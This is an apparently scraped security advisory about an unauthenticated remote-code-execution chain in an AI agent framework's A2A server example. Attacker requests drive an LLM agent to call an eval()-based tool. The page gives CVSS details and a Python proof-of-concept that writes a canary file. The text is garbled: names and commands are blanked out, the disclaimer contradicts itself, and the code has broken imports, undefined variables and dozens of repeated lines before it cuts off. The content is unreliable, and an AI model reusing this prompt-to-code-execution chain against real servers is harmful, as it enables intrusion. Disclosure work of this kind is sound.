PrisonAI A2A Unauthenticated RCE via eval() (CVE-2025-47391)

Vulnerability Overview Title: Unauthenticated A2A official example can reach real LLM-driven tool execution Description: Summary: The first-party PrisonAI A2A server example combines three behaviors into a remotely exploitable critical chain: 1. The example exposes an A2A server without a configured . 2. The same example binds the server to . 3. The example registers a tool implemented using Python's . Attack Vector: Unauthenticated A2A clients can send JSON-RPC messages/requests to . The A2A processor passes attacker-controlled input to the tool, causing the example's call to execute Python code within the server process. Trust Boundary: The boundary that should be maintained is: unauthenticated remote clients should not be able to drive code execution or interoperable tools. The affected example breaks this boundary. Scope Affected Versions: = 4.6.40 CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: High CVE ID: CVE-2025-47391 Weaknesses: - CWE-95 - CWE-306 Remediation Patch Version: >= 4.6.40 Vulnerable Code Attack Model Attacker: An unauthenticated remote client with access to the A2A HTTP service. Attacker does NOT need: - Repository write access - Local shell access - A valid Bearer token - A compromised maintainer account - Access to server secrets Attacker only sends: JSON-RPC requests to Disclaimer Not all A2A deployments automatically result in Remote Code Execution (RCE). A2A deployments protected by are similarly affected. Safe read-only tools pose the same risk as the in the official example. Deterministic tool calls are required in all attacks. Impact Remote Prompt to Tool Execution: Execution of arbitrary Python code from unauthorized requests. Server Process Privileges: Execution of arbitrary Python code via the tool. Potential File Access: Access to application files through code execution. Credential or Environment Variable Exposure: If the payload reads process state. Denial of Service or Data Corruption: Through code execution. Reproduction Environment Test Repository State: - commit: 4065415e - describe: v4.6.37-13-g4065415e Real LLM Usage: - gemini/gemini-2.5-flash-lite Reproduction Steps 1. From the repository root: 2. Set the Gemini API key: 3. Run the real LLM canary: 4. Expected success marker: 5. Expected marker file: 6. Expected marker content: Real LLM Proof Log Proof of Concept Code ```python #!/usr/bin/env python3 from __future__ import annotations import inspect import json import os import re import runpy import sys from pathlib import Path ROOT = Path(__file__).resolve().parents[1] SRC = ROOT / "nbdev" / "PrisonAI" / "src" OUT = ROOT / "nbdev" / "PrisonAI" / "examples" / "python" / "a2a" / "a2a-server.py" OUT = ROOT / "out" sys.path.insert(0, str(SRC / "prisonai-agents")) sys.path.insert(0, str(SRC / "prisonai")) SECRET_ENV_NAMES = [ "DEEPSEEK_API_KEY", "ANTHROPIC_API_KEY", "GEMINI_API_KEY", "GOOGLE_API_KEY", "REAL_LLM_API_KEY", ] def has_provider_credential() -> bool: return any(os.environ.get(name) for name in SECRET_ENV_NAMES) def main() -> int: from fastapi.testclient import TestClient from prisonaiagents.llm import import LLM from prisonaiagents.approval.registry import import DEFAULT_DANGEROUS_TOOLS OUT.mkdir(exist_ok=True) marker = OUT / "official-a2a-example-real-llm-canary.txt" marker_text = "OFFICIAL_A2A_EXAMPLE_REAL_LLM_CONFIRMED" try: marker.unlink() except FileNotFoundError: pass model = os.environ.get("REAL_LLM_MODEL", "gemini/gemini-2.5-flash-lite") if not has_provider_credential(): print("No provider API key found") return 2 namespace = runpy.run_path(str(SRC)) app = namespace["app"] agent = namespace["agent"] a2a = namespace["a2a"] calculate = namespace["calculate"] example_source = EXAMPLE.read_text(encoding="utf-8") agent.llm_instance = LLM( model=model, temperature=0, timeout=60, max_tokens=600, api_keys=os.environ.get("REAL_LLM_API_KEY"), verbose=False, markdown=False, self_reflect=False, ) agent.using_custom_llm = True agent.self_reflect = False agent.verbose = False agent.markdown = False agent.stream = False expression = ( "import pathlib.Path\n" f'f"{marker}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"

Goal Reached Thanks to every supporter — we hit 100%!

PrisonAI A2A Unauthenticated RCE via eval() (CVE-2025-47391)

More from this source